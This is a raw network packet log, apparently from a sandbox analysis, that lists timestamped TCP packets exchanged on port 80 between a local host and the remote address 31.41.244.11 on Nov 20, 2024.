Nov 20, 2024 04:08:12.246520042 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.246531010 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.246537924 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.246553898 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.246555090 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.246571064 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.246587038 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.246593952 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.246603012 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.246629953 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.246649981 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.258068085 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258105040 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258120060 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258135080 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258160114 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258176088 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258183002 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.258193970 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258207083 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258230925 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.258232117 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258251905 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258276939 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258276939 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.258294106 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258296013 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.258307934 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258341074 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.258362055 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258378029 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258385897 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.258394003 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258409977 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258426905 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.258436918 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258452892 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258466005 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.258469105 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258491993 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.258497000 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258516073 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258528948 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.258529902 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258547068 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258563042 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258565903 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.258583069 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258595943 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.258609056 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258620977 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.258626938 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258641958 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258655071 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.258668900 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258693933 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258694887 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.258709908 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258719921 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.258724928 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258748055 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258761883 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.258764982 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258781910 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.258789062 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258806944 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258809090 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.258824110 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258833885 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.258840084 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258852959 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258871078 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.258877039 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258893967 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258894920 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.258909941 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258919001 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258934021 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258953094 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258953094 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.258966923 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.258982897 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.258994102 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.259056091 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.259721041 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.259737968 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.259762049 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.259778023 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.259800911 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.259802103 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.259819984 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.259835958 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.259844065 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.259881020 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.259881020 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.260591030 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.260633945 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.260696888 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.260739088 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.260754108 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.260771036 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.260787964 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.260806084 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.260811090 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.260822058 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.260845900 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.260854959 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.260879993 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.261181116 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.261233091 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.261292934 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.261307001 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.261322021 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.261338949 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.261342049 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.261354923 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.261363983 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.261382103 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.261396885 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.261406898 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.261420965 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.261431932 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.261459112 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.261461020 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.261478901 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.261486053 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.261493921 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.261507988 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.261512995 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.261526108 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.261528969 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.261559010 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.261579037 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.261581898 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.261590958 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.261600018 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.261600018 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.261615992 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.261631966 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.261636019 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.261641026 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.261657000 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.261660099 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.261672974 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.261684895 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.261691093 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.261717081 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.261720896 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.261734009 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.261746883 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.261775970 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.261811018 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.261826038 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.261841059 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.261852026 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.261857033 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.261873960 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.261888027 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.261890888 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.261907101 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.261920929 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.261941910 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.261972904 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.302712917 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.302747965 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.302767038 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.302804947 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.302824974 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.302834988 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.302851915 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.302870035 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.302886009 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.302900076 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.302927971 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.302958012 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.334470987 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.334533930 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.334587097 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.334651947 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.334664106 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.334714890 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.334745884 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.334764957 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.334780931 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.334780931 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.334810972 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.334836006 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.334850073 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.334867001 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.334882021 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.334897041 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.334912062 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.334913015 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.334912062 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.334932089 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.334933996 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.334948063 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.334954023 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.334965944 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.334980965 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.334980965 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.335002899 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.335016966 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.335019112 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.335033894 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.335052013 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.335059881 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.335069895 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.335081100 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.335084915 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.335103989 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.335114956 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.335133076 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.335151911 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.346724987 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.346781969 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.346833944 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.346900940 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.346939087 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.346956968 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.346993923 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.347008944 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347031116 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.347044945 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347069025 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.347099066 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347100973 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.347151995 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347160101 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.347187042 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347208977 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347223997 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347239971 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347245932 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.347258091 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347275019 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347290039 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347300053 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.347300053 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.347309113 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347331047 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347342968 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.347348928 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347362041 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.347368002 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347378969 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347393990 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347404957 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.347413063 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347428083 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347443104 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347460032 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347460985 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.347467899 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347476959 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347486973 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347497940 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.347548008 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.347548008 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.347554922 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347594976 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347609043 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347609043 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.347625017 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347672939 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.347672939 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.347767115 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347790956 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347806931 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347822905 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347839117 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347852945 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.347856998 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347873926 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.347875118 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347891092 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347893953 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.347908020 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347923994 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.347930908 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347942114 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347954988 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.347969055 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.347994089 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.348025084 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.348057985 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.348222017 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.348236084 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.348284960 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.348318100 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.348346949 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.348362923 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.348378897 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.348396063 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.348404884 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.348408937 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.348419905 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.348443985 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.348469973 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.348494053 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.349164963 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.349189043 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.349205971 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.349221945 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.349246025 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.349261999 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.349262953 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.349280119 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.349296093 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.349311113 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.349313974 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.349350929 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.349395990 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.349661112 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.349693060 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.349709034 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.349720001 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.349750042 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.349778891 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.349795103 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.349811077 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.349817038 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.349828959 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.349838972 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.349847078 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.349881887 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.349888086 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.349903107 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.349903107 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.349931955 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.349961996 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.350018024 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.350040913 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.350056887 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.350071907 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.350081921 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.350102901 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.350111961 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:12.350125074 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:12.350137949 CET	80	62430	31.41.244.11	192.168.2.4
